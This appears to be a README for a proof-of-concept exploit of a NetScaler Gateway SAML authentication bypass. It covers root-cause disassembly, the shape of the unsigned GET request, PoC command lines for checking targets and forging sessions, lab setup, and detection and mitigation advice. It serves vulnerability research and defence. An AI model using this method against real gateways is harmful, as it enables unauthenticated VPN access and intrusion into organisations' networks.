# CVE-2026-19490 — NetScaler ADC/Gateway SAML authentication bypass Unauthenticated session forgery on Citrix NetScaler ADC / NetScaler Gateway via the SAML HTTP-Redirect binding handler at `GET /cgi/samlauth`. CVSS 4.0 9.3, CWE-288. Bulletin CTX696939 (2026-08-19), no workarounds. Credit for the original report goes to Samarth Vashisht (JPMorgan Chase pen-test team); the root-cause analysis and the code in this repo are my own work. Affected: 14.1 before 14.1-73.32, 13.1 before 13.1-63.21. Fixed in those two builds. ## root cause Two things go wrong together in `nsppe`, the packet engine. **1. the redirect binding parses assertions with the strict flag cleared.** All call sites of the SAML response parser (`sub_b40a50`) set up a "strict" argument before the call. The POST binding path (what browsers actually use for SAML responses) passes it set. The HTTP-Redirect binding path does not: ``` $ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30 b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128] b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148] b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134] b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5] b7f553: e8 f8 14 fc ff call b40a50 <-- the parser ``` That is the alternate path in the CWE-288 sense. Same request surface, weaker parser invocation, reachable by anyone who can send a GET with a `SAMLResponse` query parameter. **2. the unsigned-assertion gate treats the default config as ALLOW.** Inside the redirect handler, when the request carries no `SigAlg`/`Signature`, the config word for `rejectUnsignedAssertion` is compared and branched like this: ``` $ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30 b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2 b7ee3f: 74 5d je b7ee9e <-- jumps to the ACCEPT path ``` The word values are: `2` = `rejectUnsignedAssertion ON` (the default), `3` = `STRICT`. The `je` sends `2` to accept. Only `STRICT` reaches the deny log line: ``` $ strings -t x nsppe-14.1-73.30 | grep 'denying as per action' 2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s ``` So on a default-config box, an unsigned assertion handed to the redirect binding is parsed (strict off), accepted past the unsigned gate (ON misread as allow), and then runs the ordinary post-parse steps: issuer/audience/subject checks against the SAML action config, then session construction from attacker-supplied fields. No digest, no RSA verify, anywhere on that route. POST binding is not affected the same way — it passes strict to the parser and rejects unsigned input properly. Preconditions per the bulletin, confirmed against the binary: builds from 14.1-43.56 / 13.1-61.28 onward need a SAML action bound to a Gateway or AAA vserver (the normal SAML SSO setup, so most SAML deployments qualify). Earlier builds register the route with the vserver alone. ## exploit shape One GET. Build a SAML Response with no `` anywhere, DEFLATE + base64 it, and send: ``` GET /cgi/samlauth?SAMLResponse=&RelayState= HTTP/1.1 Host: ``` The values that must match the target's SAML action config: assertion Issuer = the IdP entity ID, Audience = the SP entity ID, Recipient/Destination = the ACS URL, and on transactional setups an InResponseTo from a live AuthnRequest. `--mint` walks the gateway's own pre-auth login redirect to capture those (the SAMLRequest in the Location header carries all of them). A 302 to `/vpn/` plus a real `NSC_AAAC` / `NSC_TASS` cookie (not the `xyz` deletion markers) is a forged session as whatever NameID you put in. ## usage ``` pip install requests # is the endpoint there and does GET binding process SAMLResponse at all python3 poc.py https://vpn.target.com --check-only # non-intrusive config probe: unsigned assertion with a deliberately WRONG issuer. # 'Malformed Assertion' (0xe0005) -> STRICT, not vulnerable to this vector # issuer/policy error (0xe0012) -> default config, vulnerable; no session minted python3 poc.py https://vpn.target.com --safe-oracle # full chain (authorized targets only): mint the SP chain, forge, validate once python3 poc.py https://vpn.target.com --mint --name-id someone@target.example ``` `--safe-oracle` exists because the two configs return different error pages before anything session-shaped happens, which is also how defenders can self-check without touching a real IdP. Run it against your own gear. ## demo `demo/demo.gif` (also `demo.mp4`, and `demo/demo.cast` if you want to play it with `asciinema play`): affected build out of the docker image, the word-2 default config, the two binary branches disassembled from the shipped `nsppe`, and the PoC endpoint check. The last mile, session issuance, needs a licensed VPX — CPX Express refuses AAA sessions at the licence layer — which is what `lab/record-demo.sh` captures when you have one. ## lab `lab/setup-cpx.sh` brings up the exact affected build in docker: ``` docker run -dt --privileged --name cpx19490 -e EULA=YES \ quay.io/netscaler/netscaler-cpx:14.1-73.30 bash lab/setup-cpx.sh ``` and configures a SAML action with `rejectUnsignedAssertion ON`, a policy, and a Gateway vserver. Two caveats learned the hard way: - CPX Express carries no SSLVPN/AAA user license. The vserver serves `/cgi/samlauth` but every request lands on `480 Login exceeds maximum allowed users`. Good enough to reproduce config + endpoint + binary state, not the final session cookie. - For the full session-issuance run you want a VPX with the free Developer Edition license (My Citrix → downloads → NetScaler VPX, then CTX587663 for the license flow). Same CLI as in the setup script, then `lab/record-demo.sh` records the whole asciinema sequence: version, config, safe-oracle, forged session, STRICT negative control. The shipped-binary offsets above come straight out of that image: ``` docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30 objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30 ``` ## detection / mitigation - Upgrade to 14.1-73.32+ / 13.1-63.21+. There is no supported workaround. - `set samlAction -samlRejectUnsignedAssertion STRICT` blocks the redirect vector on the vulnerable path (it makes word==3). Be aware STRICT also changes what the box expects from your IdP (Response + Assertion signing requirements), which is presumably why Citrix ships ON as the default and why "just set STRICT" is not a clean workaround for everyone. - Detect: requests to `/cgi/samlauth` carrying `SAMLResponse` on GET (redirect binding responses are rare in the wild — browsers POST), unsigned payloads, and the error-page differential above. ## legal For authorized security testing only: your own lab, or targets explicitly in scope for a program you are authorized on. The author is not affiliated with Citrix or the original reporting team. ## timeline - 2026-08-19 — Citrix bulletin CTX696939, fixes shipped - 2026-09 — this root-cause writeup and PoC MIT license, see LICENSE.